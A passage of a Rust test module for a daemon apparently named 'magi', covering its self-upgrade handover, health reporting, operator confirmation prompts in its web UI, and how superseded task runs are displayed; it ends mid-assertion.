13046 assert_eq!(
13047 recheck_poll_period(&default),
13048 UPDATE_RECHECK_POLL_MAX,
13049 "the default day-long interval should poll at the (capped) \
13050 ceiling rather than needlessly often"
13051 );
13052 }
13053
13054 #[test]
13062 fn recheck_skips_the_network_before_the_interval_elapses() {
13063 let dir = TempDir::new().expect("temp dir");
13064 let path = dir.path().join("state.json");
13065 let state = kaishin::UpdateCheckState {
13066 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
13067 last_known_latest: None,
13068 last_known_url: None,
13069 };
13070 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
13071
13072 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
13073 assert!(
13074 !update_recheck_due(&checker, None),
13075 "a check made moments ago must not be repeated before the \
13076 configured interval elapses"
13077 );
13078 }
13079
13080 #[test]
13086 fn recheck_defers_to_an_upgrade_already_in_flight() {
13087 let dir = TempDir::new().expect("temp dir");
13088 let path = dir.path().join("state.json");
13089 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
13090 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
13091
13092 assert!(
13093 !update_recheck_due(&checker, Some(&progress)),
13094 "a recheck must not run while an upgrade this deck started is \
13095 still moving"
13096 );
13097 }
13098
13099 #[tokio::test]
13100 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
13101 unsafe {
13113 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13114 }
13115 let fx = Fixture::start().await;
13116 let res = fx.post("/api/upgrade", None).await;
13117 unsafe {
13118 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13119 }
13120 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13121 let body = res.json();
13122 assert!(body["to"].is_null(), "there was no release to move to");
13123 assert!(body["parked"].is_null(), "and nothing was parked");
13124 assert!(
13125 body["detail"]
13126 .as_str()
13127 .unwrap()
13128 .contains("disabled by MAGI_NO_AUTOUPDATE"),
13129 "{body:?}"
13130 );
13131 }
13132
13133 #[tokio::test]
13134 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
13135 let repo = TempDir::new().expect("repo dir");
13151 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13152 .expect("write magi.toml");
13153 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13154
13155 let res = fx.post("/api/upgrade", None).await;
13161 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13162 let body = res.json();
13163 assert!(body["to"].is_null(), "there was no release to move to");
13164 assert!(body["parked"].is_null(), "and nothing was parked");
13165 assert!(
13166 body["detail"]
13167 .as_str()
13168 .unwrap()
13169 .contains("nothing restarted"),
13170 "{body:?}"
13171 );
13172 }
13173
13174 #[tokio::test]
13175 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
13176 let repo = TempDir::new().expect("repo dir");
13181 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13182 .expect("write magi.toml");
13183 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13184
13185 let health = fx.get("/api/health").await.json();
13186 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
13187 assert_eq!(
13188 health["update"]["available"], false,
13189 "checking is off, which reads as \"unknown\", not \"none\""
13190 );
13191 assert!(health["update"]["to"].is_null());
13192 assert!(
13193 health["upgrade"].is_null(),
13194 "nothing has ever asked this deck to upgrade"
13195 );
13196 }
13197
13198 #[tokio::test]
13199 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
13200 let fx = Fixture::start().await;
13201 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
13202
13203 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13204 progress.parked_run = Some("20260905-000000-cd51".to_owned());
13205 progress.advance(crate::updater::Stage::Parking);
13206 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13207
13208 let health = fx.get("/api/health").await.json();
13209 assert_eq!(health["upgrade"]["stage"], "parking");
13210 assert_eq!(health["upgrade"]["from"], "0.5.1");
13211 assert_eq!(health["upgrade"]["to"], "0.5.2");
13212 let waiting_on = health["upgrade"]["waiting_on"]
13213 .as_str()
13214 .expect("waiting_on is set while parking a known run");
13215 assert!(waiting_on.contains("cd51"), "{waiting_on}");
13216 assert!(waiting_on.contains("implementing"), "{waiting_on}");
13217 }
13218
13219 #[tokio::test]
13220 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13221 let fx = Fixture::start().await;
13222 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13223 progress.advance(crate::updater::Stage::Done);
13224 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13225
13226 let health = fx.get("/api/health").await.json();
13227 assert_eq!(health["upgrade"]["stage"], "done");
13228 assert!(
13229 health["upgrade"]["waiting_on"].is_null(),
13230 "nothing to wait on once it is done"
13231 );
13232 }
13233
13234 #[tokio::test]
13235 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13236 let home = TempDir::new().expect("temp home");
13237 let runs = home.path().join("runs");
13238 std::fs::create_dir_all(&runs).expect("runs dir");
13239 let ui = Ui::new(
13240 Queue::at(home.path().join("queue")),
13241 Questions::at(home.path().join("questions")),
13242 Talks::at(home.path().join("talks")),
13243 runs,
13244 home.path().to_path_buf(),
13245 PathBuf::from("/repo/magi"),
13246 )
13247 .with_launch(launch_idle);
13248 let looping = ui.looping();
13249 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13250 .await
13251 .expect("bind loopback");
13252 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13253
13254 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13255 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13256
13257 hand_over(home.path(), &looping, served, |_| Ok(1))
13258 .await
13259 .expect("hand over");
13260
13261 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
13262 assert_eq!(
13263 after.stage,
13264 crate::updater::Stage::Restarting,
13265 "hand_over owns the record through parking and up to restarting; \
13266 the successor is what finishes it"
13267 );
13268 }
13269
13270 #[tokio::test]
13273 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
13274 for fail in [false, true] {
13275 let home = TempDir::new().expect("temp home");
13276 let ui = idle_ui(&home);
13277 let looping = ui.looping();
13278 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13279 .await
13280 .expect("bind loopback");
13281 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13282 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13283 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13284
13285 let calls = std::sync::atomic::AtomicUsize::new(0);
13286 let outcome = hand_over(home.path(), &looping, served, |_| {
13287 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
13288 if fail {
13289 anyhow::bail!("no exec")
13290 } else {
13291 Ok(4242)
13292 }
13293 })
13294 .await;
13295 assert_eq!(outcome.is_err(), fail);
13296 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
13297
13298 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
13299 .expect("upgrade.log is written under the home");
13300 for step in [
13301 "entered",
13302 "finish_loop",
13303 "listener released",
13304 "starting the successor",
13305 ] {
13306 assert!(log.contains(step), "missing `{step}` in:\n{log}");
13307 }
13308 assert!(
13309 log.contains(if fail { "did not start" } else { "pid 4242" }),
13310 "{log}"
13311 );
13312 }
13313 }
13314
13315 #[tokio::test]
13318 async fn the_handover_signal_wakes_one_waiter_once() {
13319 let signal = Notify::new();
13320 signal.notify_one();
13322 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
13323 .await
13324 .expect("an early signal is still seen");
13325 assert!(
13327 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
13328 .await
13329 .is_err(),
13330 "a consumed signal must not wake a second time"
13331 );
13332 let signal = std::sync::Arc::new(signal);
13334 let waiter = tokio::spawn({
13335 let signal = std::sync::Arc::clone(&signal);
13336 async move { wait_for_handover(&signal).await }
13337 });
13338 tokio::time::sleep(Duration::from_millis(20)).await;
13339 assert!(!waiter.is_finished(), "nothing was signalled yet");
13340 signal.notify_one();
13341 tokio::time::timeout(Duration::from_secs(5), waiter)
13342 .await
13343 .expect("a late signal wakes the waiter")
13344 .expect("join");
13345 }
13346
13347 #[tokio::test]
13348 async fn health_says_how_long_a_handover_has_been_stuck() {
13349 let fx = Fixture::start().await;
13350 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13351 progress.advance(crate::updater::Stage::Replaced);
13352 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
13353 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13354
13355 let health = fx.get("/api/health").await.json();
13356 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
13357 assert!(stuck >= 600, "{stuck}");
13358 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
13359 }
13360
13361 fn idle_ui(home: &TempDir) -> Ui {
13362 let runs = home.path().join("runs");
13363 std::fs::create_dir_all(&runs).expect("runs dir");
13364 Ui::new(
13365 Queue::at(home.path().join("queue")),
13366 Questions::at(home.path().join("questions")),
13367 Talks::at(home.path().join("talks")),
13368 runs,
13369 home.path().to_path_buf(),
13370 PathBuf::from("/repo/magi"),
13371 )
13372 .with_launch(launch_idle)
13373 }
13374
13375 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
13377 let looping = ui.looping();
13378 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13379 .await
13380 .expect("bind loopback");
13381 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13382 let told = std::sync::Mutex::new(None);
13383 hand_over(home.path(), &looping, served, |resume| {
13384 *told.lock().unwrap() = Some(resume);
13385 Ok(1)
13386 })
13387 .await
13388 .expect("hand over");
13389 told.into_inner().unwrap().expect("successor was started")
13390 }
13391
13392 #[tokio::test]
13393 async fn a_running_loop_is_resumed_by_the_successor() {
13394 let home = TempDir::new().expect("temp home");
13395 let ui = idle_ui(&home);
13396 ui.start_loop(None).expect("start");
13397 ui.park_for_upgrade().expect("park");
13398 for _ in 0..500 {
13400 if !ui.loop_view(None).running {
13401 break;
13402 }
13403 tokio::time::sleep(Duration::from_millis(2)).await;
13404 }
13405 assert!(handed_over(&home, ui).await, "a running loop must resume");
13406
13407 let successor = idle_ui(&home);
13408 assert!(!successor.loop_view(None).running);
13409 assert!(successor.resume_after_handover(true));
13410 assert!(successor.loop_view(None).running);
13411 successor.stop_loop(None, false).expect("stop");
13412 }
13413
13414 #[tokio::test]
13415 async fn a_second_upgrade_request_keeps_the_resume_intent() {
13416 let home = TempDir::new().expect("temp home");
13417 let ui = idle_ui(&home);
13418 ui.start_loop(None).expect("start");
13419 ui.park_for_upgrade().expect("first park");
13420 ui.park_for_upgrade().expect("second park");
13421 assert!(handed_over(&home, ui).await);
13422 }
13423
13424 #[tokio::test]
13425 async fn a_stop_during_the_handover_wait_is_honoured() {
13426 let home = TempDir::new().expect("temp home");
13427 let ui = idle_ui(&home);
13428 ui.start_loop(None).expect("start");
13429 ui.park_for_upgrade().expect("park");
13430 ui.stop_loop(None, false).expect("stop");
13431 assert!(!handed_over(&home, ui).await);
13432 }
13433
13434 #[tokio::test]
13435 async fn an_idle_loop_stays_stopped_across_the_handover() {
13436 let home = TempDir::new().expect("temp home");
13437 let ui = idle_ui(&home);
13438 ui.park_for_upgrade().expect("park");
13439 assert!(!handed_over(&home, ui).await);
13440
13441 let successor = idle_ui(&home);
13442 assert!(!successor.resume_after_handover(false));
13443 assert!(!successor.loop_view(None).running);
13444 }
13445
13446 #[tokio::test]
13447 async fn a_loop_the_operator_stopped_is_not_resumed() {
13448 let home = TempDir::new().expect("temp home");
13449 let ui = idle_ui(&home);
13450 ui.start_loop(None).expect("start");
13451 ui.stop_loop(None, false).expect("stop");
13452 ui.park_for_upgrade().expect("park");
13453 assert!(!handed_over(&home, ui).await);
13454 }
13455
13456 #[test]
13457 fn only_an_explicit_one_requests_a_resume() {
13458 assert!(!resume_requested(None));
13459 assert!(!resume_requested(Some("0".into())));
13460 assert!(!resume_requested(Some("".into())));
13461 assert!(resume_requested(Some("1".into())));
13462 }
13463
13464 #[test]
13465 fn the_upgrade_button_arms_before_it_restarts_anything() {
13466 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
13469 assert!(APP_JS.contains("Replace the binary and restart?"));
13470 assert!(APP_JS.contains("function confirmed("));
13471 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
13476 assert!(
13480 APP_JS.contains("Parking, then restarting"),
13481 "the button says what it is waiting for"
13482 );
13483 assert!(APP_JS.contains("if (!out.to)"));
13486 }
13487
13488 #[test]
13489 fn stopping_the_loop_arms_but_starting_does_not() {
13490 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
13493 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
13494 assert!(APP_JS.contains("confirmed(button, question)"));
13495 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
13498 assert!(APP_JS.contains("const label = btn.textContent;"));
13499 assert!(!APP_JS.contains("Neither direction is guarded"));
13500 }
13501
13502 #[test]
13503 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
13504 assert!(
13505 APP_JS.contains("state.health.version"),
13506 "the operator wants to know what is running even with nothing newer"
13507 );
13508 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
13509 }
13510
13511 #[test]
13512 fn the_upgrade_button_names_its_destination() {
13513 assert!(
13514 APP_JS.contains("`Update to ${update.to}`"),
13515 "pressing the button should not be a surprise about what it moves to"
13516 );
13517 }
13518
13519 #[test]
13520 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
13521 for stage in ["downloading", "replaced", "parking", "restarting"] {
13522 assert!(
13523 APP_JS.contains(&format!("\"{stage}\"")),
13524 "the phone must be able to tell {stage} apart from the others"
13525 );
13526 }
13527 assert!(APP_JS.contains(".waiting_on"));
13528 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
13533 assert!(APP_JS.contains("reconnects on its own"));
13534 }
13535
13536 #[test]
13537 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
13538 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
13547 ..APP_JS.find("function upgrade(").expect("upgrade")];
13548 assert!(
13549 !body.contains(
13550 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
13551 ),
13552 "a failed upgrade must not take the whole strip over the way it used to"
13553 );
13554 assert!(
13555 body.contains("upgradeFailNote"),
13556 "the failure has to reach the loop's own note instead"
13557 );
13558 assert_eq!(
13562 body.matches("upgradeFailNote].filter(Boolean).join")
13563 .count(),
13564 2,
13565 "both loop-why writers (quiet and control) must fold the note in"
13566 );
13567 }
13568
13569 #[test]
13570 fn an_overdue_upgrade_eventually_asks_for_a_human() {
13571 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
13574 assert!(APP_JS.contains("function upgradeOverdue("));
13575 }
13576
13577 #[test]
13578 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
13579 assert!(
13580 APP_JS.contains("Updated to ${upgradeInfo.to"),
13581 "the operator who asked for the restart wants to know it worked"
13582 );
13583 }
13584
13585 #[test]
13586 fn an_error_is_visible_from_where_the_button_is() {
13587 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
13592 ..APP_CSS.find(".alert-text").expect(".alert-text")];
13593 assert!(
13594 alert.contains("position: fixed"),
13595 "an error about the thing under your thumb has to be visible from \
13596 where your thumb is: {alert}"
13597 );
13598 assert!(
13599 alert.contains("z-index: 25"),
13600 "above the dock (20) and the run-actions FAB (15), so neither \
13601 buries it: {alert}"
13602 );
13603 assert!(
13604 alert.contains("var(--tap)"),
13605 "and clear of the dock and the home indicator: {alert}"
13606 );
13607 assert!(
13610 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
13611 "the FAB's column stays free: {alert}"
13612 );
13613 }
13614
13615 #[tokio::test]
13616 async fn an_older_attempt_says_what_replaced_it() {
13617 let fx = Fixture::start().await;
13618 let q = fx.queue();
13619 let runs = fx.runs();
13620 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13621 write_run(&runs, first, RunStatus::Stalled);
13622 write_run(&runs, second, RunStatus::Blocked);
13623
13624 let mut t = Task::new(
13625 "one task".to_owned(),
13626 "do it".to_owned(),
13627 PathBuf::from("/repo"),
13628 Source::Human,
13629 );
13630 t.runs = vec![first.to_owned(), second.to_owned()];
13631 q.put(&mut t).expect("put");
13632
13633 let rows = fx.get("/api/runs").await.json();
13637 let by = |short: &str| -> Value {
13638 rows.as_array()
13639 .unwrap()
13640 .iter()
13641 .find(|r| r["short"] == short)
13642 .cloned()
13643 .unwrap_or(Value::Null)
13644 };
13645 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
13646 assert!(
13647 by("bbbb")["superseded_by"].is_null(),
13648 "the latest attempt is not superseded by anything"
13649 );
13650 assert!(APP_JS.contains("run.superseded_by"));
13652 assert!(APP_JS.contains("Superseded by"));
13653 }
13654
13655 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
13656 let mut t = Task::new(
13657 "one task".to_owned(),
13658 "do it".to_owned(),
13659 PathBuf::from("/repo"),
13660 Source::Human,
13661 );
13662 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13663 t.status = status;
13664 t
13665 }
13666
13667 #[test]
13668 fn source_link_picks_the_page_that_filed_the_task() {
13669 let agent = |node: &str| Source::Agent {
13670 run: "20260904-014455-ab12".to_owned(),
13671 node: node.to_owned(),
13672 };
13673 let chat = source_link(&agent("chat")).expect("chat link");
13674 assert_eq!(chat.kind, "chat");
13675 assert_eq!(chat.id, "20260904-014455-ab12");
13676 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
13677 let run = source_link(&agent("implement")).expect("run link");
13678 assert_eq!(
13679 (run.kind, run.href.as_str()),
13680 ("run", "#/runs/20260904-014455-ab12")
13681 );
13682 assert_eq!(source_link(&Source::Human), None);
13683 assert_eq!(
13684 source_link(&Source::Issue {
13685 number: 3,
13686 repo: "o/r".to_owned()
13687 }),
13688 None
13689 );
13690 let odd = source_link(&Source::Agent {
13691 run: "a b/c".to_owned(),
13692 node: "chat".to_owned(),
13693 })
13694 .expect("link");
13695 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
13696 }
13697
13698 #[test]
13699 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
13700 assert!(
13701 !APP_JS.contains("src.node === \"chat\""),
13702 "inline href rule is back"
13703 );
13704 assert!(
13705 APP_JS.matches("sourceLinkOf(").count() >= 4,
13706 "helper must serve every page"
13707 );
13708 assert!(
13709 APP_JS.matches("openChatLink(").count() >= 3,
13710 "the run page still needs its explicit chat link"
13711 );
13712 assert!(
13713 !APP_JS.contains("const openChat = el("),
13714 "the Queue card duplicates its source label link again"
13715 );
13716 assert!(
13717 APP_JS.contains("metaKids.push(link ? el(\"a\""),
13718 "the task page must link a chat source label too"
13719 );
13720 }
13721
13722 #[test]
13723 fn task_ref_carries_the_source_link_for_a_chat_task() {
13724 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13725 t.source = Source::Agent {
13726 run: "20260904-014455-ab12".to_owned(),
13727 node: "chat".to_owned(),
13728 };
13729 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
13730 let v = serde_json::to_value(&out).expect("json");
13731 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
13732 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
13733 assert_eq!(v["source_label"], t.source.label());
13734
13735 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13736 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
13737 .expect("json");
13738 assert!(v["source_link"].is_null(), "{v}");
13739 }
13740
13741 #[test]
13742 fn task_view_serializes_source_link() {
13743 let mut t = Task::new(
13744 "t".to_owned(),
13745 "t".to_owned(),
13746 PathBuf::from("/repo"),
13747 Source::Agent {
13748 run: "20260901-000000-aaaa".to_owned(),
13749 node: "implement".to_owned(),
13750 },
13751 );
13752 t.runs.clear();
13753 let v = serde_json::to_value(TaskView::from(t)).expect("json");
13754 assert_eq!(v["source_link"]["kind"], "run", "{v}");
13755 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
13756 }
13757
13758 #[tokio::test]
13759 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
13760 let fx = Fixture::start().await;
13761 let runs = fx.runs();
13762 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13763 write_run(&runs, old, RunStatus::Blocked);
13764 write_run(&runs, new, RunStatus::Merged);
13765 let mut t = outcome_task(&[old, new], TaskStatus::Done);
13766 fx.queue().put(&mut t).expect("put");
13767
13768 let view = fx.get(&format!("/api/runs/{old}")).await.json();
13769 let task = &view["task"];
13770 assert_eq!(task["status"], "done");
13771 assert_eq!(task["is_latest"], false);
13772 assert_eq!(task["latest"]["short"], "bbbb");
13773 assert_eq!(task["finished_by"]["id"], new);
13774 assert_eq!(task["finished_by"]["outcome"], "merged");
13775 assert_eq!(task["closed_by_hand"], false);
13776 assert_eq!(view["status"], "blocked", "the run keeps its own status");
13777 assert!(APP_JS.contains("finished_by"));
13778 assert!(APP_JS.contains("superseded by run"));
13779 }
13780
13781 #[tokio::test]
13782 async fn the_latest_run_reports_a_held_task_without_a_successor() {
13783 let fx = Fixture::start().await;
13784 let runs = fx.runs();
13785 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13786 write_run(&runs, old, RunStatus::Stalled);
13787 write_run(&runs, new, RunStatus::Blocked);
13788 let mut t = outcome_task(&[old, new], TaskStatus::Held);
13789 fx.queue().put(&mut t).expect("put");
13790
13791 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
13792 assert_eq!(task["status"], "held");
13793 assert_eq!(task["is_latest"], true);
13794 assert!(task["latest"].is_null());
13795 assert!(task["finished_by"].is_null());
13796 assert_eq!(task["closed_by_hand"], false);
13797 }
13798
13799 #[tokio::test]
13800 async fn a_direct_run_has_no_task_outcome() {
13801 let fx = Fixture::start().await;
13802 let runs = fx.runs();
13803 let id = "20260901-000000-aaaa";
13804 write_run(&runs, id, RunStatus::Blocked);
13805 let view = fx.get(&format!("/api/runs/{id}")).await.json();
13806 assert!(view["task"].is_null());
13807 }
13808
13809 #[test]
13810 fn task_outcome_does_not_guess_a_finishing_run() {
13811 let a = "20260901-000000-aaaa";
13812 let b = "20260901-000000-bbbb";
13813 let c = "20260901-000000-cccc";
13814 let dir = tempfile::tempdir().expect("tempdir");
13815 write_run(dir.path(), a, RunStatus::Blocked);
13816 write_run(dir.path(), b, RunStatus::VerifiedNoop);
13817 let read = |id: &str| read_run(dir.path(), id).ok();
13819 let t = outcome_task(&[a, b, c], TaskStatus::Done);
13822 let out = task_outcome(&t, a, 3, read);
13823 assert!(out.finished_by.is_none());
13824 assert!(out.closed_by_hand);
13825 let latest = out.latest.expect("latest");
13826 assert_eq!(latest.id, c);
13827 assert_eq!(latest.status, None);
13828 assert_eq!(latest.outcome, "record unreadable");
13829
13830 write_run(dir.path(), c, RunStatus::Ready);
13832 let t = outcome_task(&[a, c], TaskStatus::Done);
13833 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
13834 assert_eq!(out.finished_by.expect("finisher").id, c);
13835 assert!(!out.closed_by_hand);
13836
13837 let t = outcome_task(&[a, b, a], TaskStatus::Held);
13839 assert!(task_outcome(&t, a, 3, read).is_latest);
13840 }
13841
13842 #[tokio::test]
13843 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
13844 let fx = Fixture::start().await;
13849 let q = fx.queue();
13850 let runs = fx.runs();
13851 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
13852 write_run(&runs, first, RunStatus::Blocked);
13853 write_run(&runs, second, RunStatus::Merged);
13854
13855 let mut t = Task::new(
13856 "one task".to_owned(),
13857 "do it".to_owned(),
13858 PathBuf::from("/repo"),
13859 Source::Human,
13860 );
13861 t.runs = vec![first.to_owned(), second.to_owned()];
13862 q.put(&mut t).expect("put");
13863
13864 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
13865 assert_eq!(earlier["superseded_by"], "dddd");
13866 assert_eq!(earlier["latest_attempt"]["id"], second);
13867 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
13868 assert_eq!(
13869 earlier["latest_attempt"]["resolved"], true,
13870 "the run that replaced it landed, so this one reads as settled"
13871 );
13872
13873 let later = fx.get(&format!("/api/runs/{second}")).await.json();
13874 assert!(
13875 later["superseded_by"].is_null(),
13876 "the latest attempt is not superseded by anything"
13877 );
13878 assert!(
13879 later["latest_attempt"].is_null(),
13880 "the latest attempt has no later attempt of its own"
13881 );
13882
13883 assert!(APP_JS.contains("run.latest_attempt"));
13890 assert!(APP_JS.contains("data-superseded"));
13891 assert!(APP_JS.contains("#/runs/${latest.id}"));
13892 }
13893
13894 #[tokio::test]
13895 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
13896 let fx = Fixture::start().await;
13902 let q = fx.queue();
13903 let runs = fx.runs();
13904 let (a, b, c) = (
13905 "20260901-000000-aaaa",
13906 "20260901-000000-bbbb",
13907 "20260901-000000-cccc",
13908 );
13909 write_run(&runs, a, RunStatus::Blocked);
13910 write_run(&runs, b, RunStatus::Blocked);
13911 write_run(&runs, c, RunStatus::Merged);
13912
13913 let mut t = Task::new(
13914 "retried twice".to_owned(),
13915 "do it".to_owned(),
13916 PathBuf::from("/repo"),
13917 Source::Human,
13918 );
13919 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
13920 q.put(&mut t).expect("put");
13921
13922 let view = fx.get(&format!("/api/runs/{a}")).await.json();
13923 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
13924 assert_eq!(
13925 view["latest_attempt"]["id"], c,
13926 "the chain's current head, not the intermediate Blocked retry"
13927 );
13928 assert_eq!(view["latest_attempt"]["resolved"], true);
13929
13930 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
13931 assert_eq!(mid["latest_attempt"]["id"], c);
13932 assert_eq!(mid["latest_attempt"]["resolved"], true);
13933 }
13934
13935 #[tokio::test]
13936 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
13937 let fx = Fixture::start().await;
13938 let q = fx.queue();
13939 let runs = fx.runs();
13940
13941 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
13944 write_run(&runs, still_blocked_a, RunStatus::Blocked);
13945 write_run(&runs, still_blocked_b, RunStatus::Blocked);
13946 let mut t1 = Task::new(
13947 "still stuck".to_owned(),
13948 "do it".to_owned(),
13949 PathBuf::from("/repo"),
13950 Source::Human,
13951 );
13952 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
13953 q.put(&mut t1).expect("put");
13954 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
13955 assert_eq!(view1["latest_attempt"]["resolved"], false);
13956 assert_eq!(view1["latest_attempt"]["status"], "blocked");
13957 assert_eq!(view1["latest_attempt"]["done"], true);
13958
13959 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
13961 write_run(&runs, run_a, RunStatus::Blocked);
13962 write_run(&runs, run_b, RunStatus::Implementing);
13963 let mut t3 = Task::new(
13964 "retrying".to_owned(),
13965 "do it".to_owned(),
13966 PathBuf::from("/repo"),
13967 Source::Human,
13968 );
13969 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
13970 q.put(&mut t3).expect("put");
13971 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
13972 assert_eq!(view3["latest_attempt"]["id"], run_b);
13973 assert_eq!(view3["latest_attempt"]["resolved"], false);
13974 assert_eq!(view3["latest_attempt"]["done"], false);
13975
13976 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
13981 write_run(&runs, noop_a, RunStatus::Blocked);
13982 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
13983 let mut t2 = Task::new(
13984 "claims done".to_owned(),
13985 "do it".to_owned(),
13986 PathBuf::from("/repo"),
13987 Source::Human,
13988 );
13989 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
13990 q.put(&mut t2).expect("put");
13991 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
13992 assert_eq!(
13993 view2["latest_attempt"]["resolved"], false,
13994 "an unverified no-op claim must not read as a confirmed finish"
13995 );
13996
13997 assert!(APP_JS.contains("latest.resolved"));
14000 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
14003 assert!(APP_JS.contains("Latest attempt: "));
14004 assert!(APP_JS.contains("in flight"));
14005 assert!(APP_JS.contains("not resolved"));
14006 }
14007
14008 #[tokio::test]
14009 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
14010 let fx = Fixture::start().await;
14011 let js = fx.get("/app.js").await;
14017 assert_eq!(js.status, 200);
14018 let tag = js
14019 .header("etag")
14020 .expect("an etag to revalidate against")
14021 .to_owned();
14022 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
14023 assert_eq!(
14024 js.header("cache-control"),
14025 Some("no-cache, must-revalidate"),
